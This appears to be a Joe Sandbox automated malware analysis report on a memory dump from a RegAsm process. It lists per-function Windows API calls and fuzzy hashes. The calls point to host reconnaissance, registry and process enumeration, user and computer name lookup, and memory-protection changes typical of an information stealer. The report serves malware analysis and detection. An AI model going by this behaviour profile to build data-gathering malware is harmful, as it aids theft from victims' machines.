Part of subcall function 00418260: CreateDCA.GDI32(014FA9D8,00000000,00000000,00000000), ref: 00418295
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,00000008), ref: 004182A4
Part of subcall function 00418260: GetDeviceCaps.GDI32(?,0000000A), ref: 004182B3
Part of subcall function 00418260: ReleaseDC.USER32(00000000,?), ref: 004182C2
Part of subcall function 00418260: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420DF8,00000000,?), ref: 004182CF
Part of subcall function 00418260: HeapAlloc.KERNEL32(00000000,?,?,?,?,00420DF8,00000000,?), ref: 004182D6
Part of subcall function 00418260: wsprintfA.USER32 ref: 004182F0

Part of subcall function 00417C90: EnumDisplayDevicesA.USER32(00000000,00000000,000001A8,00000001), ref: 00417CF4

Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,014F6680,00000000,00020019,00000000,004205A6), ref: 00417E44

Part of subcall function 00417DC0: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00417EC6
Part of subcall function 00417DC0: wsprintfA.USER32 ref: 00417EF9
Part of subcall function 00417DC0: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00417F1B

Part of subcall function 00418120: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,004205A7), ref: 0041816A
Part of subcall function 00418120: Process32First.KERNEL32(?,00000128), ref: 0041817E
Part of subcall function 00418120: Process32Next.KERNEL32(?,00000128), ref: 00418193
Part of subcall function 00418120: CloseHandle.KERNEL32(?), ref: 00418201

lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0041216B

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$Process$Alloc$wsprintf$NameOpenlstrcpy$InformationLocal$CapsCloseCreateCurrentDeviceEnumHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$ComputerDefaultDevicesDirectoryDisplayErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQueryReleaseSnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID:
API String ID: 2168326814-0
Opcode ID: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction ID: a9f6d0abc10a802bc737c54d14ff6b9d5e6ee0272f4c656d6212d3eaa4757419
Opcode Fuzzy Hash: 1725f415b6d02ac6fa083467293a4c97ec229be5050fbf955f20cd084a202adc
Instruction Fuzzy Hash: 8472A071851018AACB19FB91DC96EDEB33CAF24314F5042DFB51762051EF782B98CB6A

Function 00406C30 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(E9FC458B,087400FC,00000040,00000040), ref: 00406CEF

Strings

@, xrefs: 00406CC9

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction ID: a97aeec014860b7bcefe5a819602e0a11eb2ce5ea612e9d10357849f9a661301
Opcode Fuzzy Hash: 867edc3f7feb9bd756791c0b70ce9cc7864d6ccfd6d1b0176bf07496b986d28b
Instruction Fuzzy Hash: 3E213174A04208EFEB04CF89D544BAEBBB1FF48304F1181AAD456AB381D3799A91DF85

Function 00406D90 Relevance: 3.2, APIs: 2, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction ID: 456806d1e879ecad470b616e27b80e03465aa0a519357bc85acbc9acecad2077
Opcode Fuzzy Hash: f8b28877c224b251f10175a9abca519b7fa48fc2f12a49a1c36a71eedd802e18
Instruction Fuzzy Hash: 116127B4900209DFCB14DF94E944BEEB7B0BB48304F1185AAE80677380D779AEA5DF95

Function 00417970 Relevance: 3.0, APIs: 2, Instructions: 34COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(00420DFC), ref: 004179A0
wsprintfA.USER32 ref: 004179B6

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: InfoSystemwsprintf
String ID:
API String ID: 2452939696-0
Opcode ID: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction ID: e5f7882cf5308591a3a92d8d4ad10ccbd8a019f3ce2acafa6204cd8ee8253483
Opcode Fuzzy Hash: b67a8d3803bdbcef095136fe51fb218f504635533fc880d72ddeb760f53951d8
Instruction Fuzzy Hash: 2DF0C2B1A00618EBCB10CF88ED45FAAB7BDFB08724F50066AF50492280D7785904CB94

Function 0040B370 Relevance: 2.9, APIs: 2, Instructions: 387stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040B820
lstrlenA.KERNEL32(00000000), ref: 0040B834

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocalmemcmpmemset
String ID:
API String ID: 4023347672-0
Opcode ID: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction ID: 12fecfe212cb7392b3f17e260ebd7fbbf5924c22592aec839546a7360daeb2af
Opcode Fuzzy Hash: cb17c8205bf5f21648334730405b176066157aa3d3303cbc0751ca4b66dd21cc
Instruction Fuzzy Hash: 5DE12272911118ABCB14EBA1CC96EEE7339BF14314F40415EF507721A1EF786B98CB6A

Function 0040AD70 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040AFEA
lstrlenA.KERNEL32(00000000), ref: 0040AFFE

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction ID: 4b138641442dd51730d9762ac92e0d5652ebadbf156882a2c3fe3545aa946475
Opcode Fuzzy Hash: 7598662d9a06a987938f384bd1053b7c0df6dec26f5a4bcaaecda882f76019a9
Instruction Fuzzy Hash: 98915572911108ABCF14FBA1DC96EEE7339AF54314F40416EF40772191EF786A98CB6A

Function 0040B0B0 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrlenA.KERNEL32(00000000), ref: 0040B2AE
lstrlenA.KERNEL32(00000000), ref: 0040B2C2

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction ID: d2f8e92f06f21ad00195b851541a0fca05b03a5e78dc2554d63ff73f5d8ac6c5
Opcode Fuzzy Hash: b4896696c15f0c913ac963dad817e9238a63ff738b3eaca55fd6d2732568b7c2
Instruction Fuzzy Hash: A9717371911108ABCF14FBA1DC56EEE7339BF54314F40412EF403A2191EF786A58CBAA

Function 004066B0 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00406E0E,00406E0E,00003000,00000040), ref: 00406756
VirtualAlloc.KERNEL32(00000000,00406E0E,00003000,00000040), ref: 004067A3

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction ID: 4499aa19cc86b02a1bac446f32e864e245a0bde13e44bf0a480e22725e368a89
Opcode Fuzzy Hash: badb7cecddd27d9e1aa55144c1fc7f4ba9690274eb5e83060997e099dbd08bd4
Instruction Fuzzy Hash: 2B41F334A00208EFCB44CF58C494BADBBB1FF44314F1486A9E94AAB385C735EA91CF84

Function 004010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004,?,?,?,0040114E,?,?,004164BC), ref: 004010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0,?,?,?,0040114E,?,?,004164BC), ref: 004010F7

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction ID: f48f966fb8dbc32d8d9482a6eca9c47ea769ab036d71d5fa6551aa32425d7b68
Opcode Fuzzy Hash: f9d4902d87d53e064eb978b4b4efccb4618282ab89b9805507bbfbdb43c54504
Instruction Fuzzy Hash: 62F02771641218BBE7149BA4AD49FAFB7DCE705B08F304459F940E3390D5719F00DA64

Function 00418830 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,0040FF57,?,00000000,?,00000000,00420D97,00420D96), ref: 0041883F

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction ID: 05b335d21f22619e77aa966aeb7f376ddd46b9d978e537c949d5f100d696e3dd
Opcode Fuzzy Hash: 276bb3aec74e4af6613c368acf80f5e0b985b049ffbf94c9a686491cb31b76a1
Instruction Fuzzy Hash: 70F01570C0020CEFCB04EFA5C9496DDBB75EB00324F50859EE82AA7281DBB85B95CB85

Function 00418880 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000062C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_RegAsm.jbxd

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction ID: 7b71b80bc5ec6c4d76f30a423bf4d75a71df8f4b6dd8708b5fa25dfbbe6c75fa
Opcode Fuzzy Hash: 3c00b6a056ff1b7dc2f0e45d7746659429eb440c69b19d979d0360e680d490b7
Instruction Fuzzy Hash: 7AE01A31A4034C7BDB55EBA0CC96FEE736CAB44B15F004299BA0C5B1C0EE74AB858B91

Function 00401190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

ExitProcess.KERNEL32 ref: 004011C6

Memory Dump Source

Source File: 00000006.00000002.2194885314.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2194885314.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2194885314.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
